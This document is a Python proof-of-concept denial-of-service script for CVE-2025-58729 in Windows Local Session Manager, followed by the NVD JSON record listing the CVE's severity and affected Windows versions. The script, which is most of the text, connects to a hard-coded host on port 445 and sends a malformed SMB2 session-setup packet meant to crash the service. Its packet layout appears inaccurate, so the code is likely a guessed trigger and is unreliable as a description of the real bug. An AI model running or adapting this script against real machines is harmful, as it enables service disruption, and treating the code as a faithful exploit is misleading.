CVE-2025-58729

# CVE-2025-58729 - Windows LSM Denial of Service PoC (Conceptual) # This is a conceptual proof-of-concept demonstrating the attack pattern # for the improper input validation vulnerability in Windows Local Session Manager. import socket import struct import sys TARGET_HOST = "192.168.1.100" TARGET_PORT = 445 # SMB/Session service port used by LSM def craft_malicious_lsm_packet(): """ Craft a malformed SMB session setup request with invalid input type to trigger the LSM vulnerability. """ # SMB2 Header smb2_header = b'\xfeSMB' # SMB2 magic smb2_header += struct.pack('<H', 64) # Header length smb2_header += struct.pack('<H', 0) # Credit charge smb2_header += struct.pack('<I', 0) # Status smb2_header += struct.pack('<H', 0) # Command smb2_header += struct.pack('<H', 1) # Credits requested smb2_header += struct.pack('<I', 0) # Flags smb2_header += struct.pack('<I', 0) # Next command smb2_header += struct.pack('<Q', 1) # Message ID smb2_header += struct.pack('<I', 0) # Reserved smb2_header += struct.pack('<I', 0) # Tree ID smb2_header += struct.pack('<Q', 0) # Session ID # Malformed Session Setup payload with invalid type fields # The key is to send input with unexpected types that LSM fails to validate session_setup = struct.pack('<H', 25) # Structure size session_setup += b'\x00' # Flags session_setup += b'\x01' # Security mode session_setup += struct.pack('<H', 0) # Capabilities session_setup += struct.pack('<I', 0) # Channel session_setup += struct.pack('<H', 64) # Security buffer offset session_setup += struct.pack('<H', 0) # Security buffer length # Inject malformed type data that triggers improper validation malformed_payload = b'\xff' * 256 # Invalid type bytes return smb2_header + session_setup + malformed_payload def exploit(): print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] Connection established") # Send malicious packet payload = craft_malicious_lsm_packet() sock.send(payload) print("[+] Malicious payload sent") # Wait for response or timeout try: response = sock.recv(4096) print(f"[*] Response received: {len(response)} bytes") except socket.timeout: print("[+] Target appears unresponsive - DoS may be successful") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-58729", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:54.667", "lastModified": "2025-11-07T17:52:59.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper validation of specified type of input in Windows Local Session Manager (LSM) allows an authorized attacker to deny service over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "9D5EB1D1-8C53-4188-90B9-8ED2FD2837BD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "A6CE9E60-F2F1-43F2-A535-5326E903D219"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "B51B700D-B45F-4A8E-9F78-67A1282B3BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6060", "matchCriteriaId": "A3FEBF91-5010-4C84-B93A-6EFA4838185A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "matchCriteriaId": "5F422A8C-2C4E-42C8-B420-E0728037E15C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*", "matchCriteriaId": "2ACA9287-B475-4AF7-A4DA-A7143CEF9E57"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "7A8CC16F-8B44-4E7D-8503-25D753387345"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58729", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}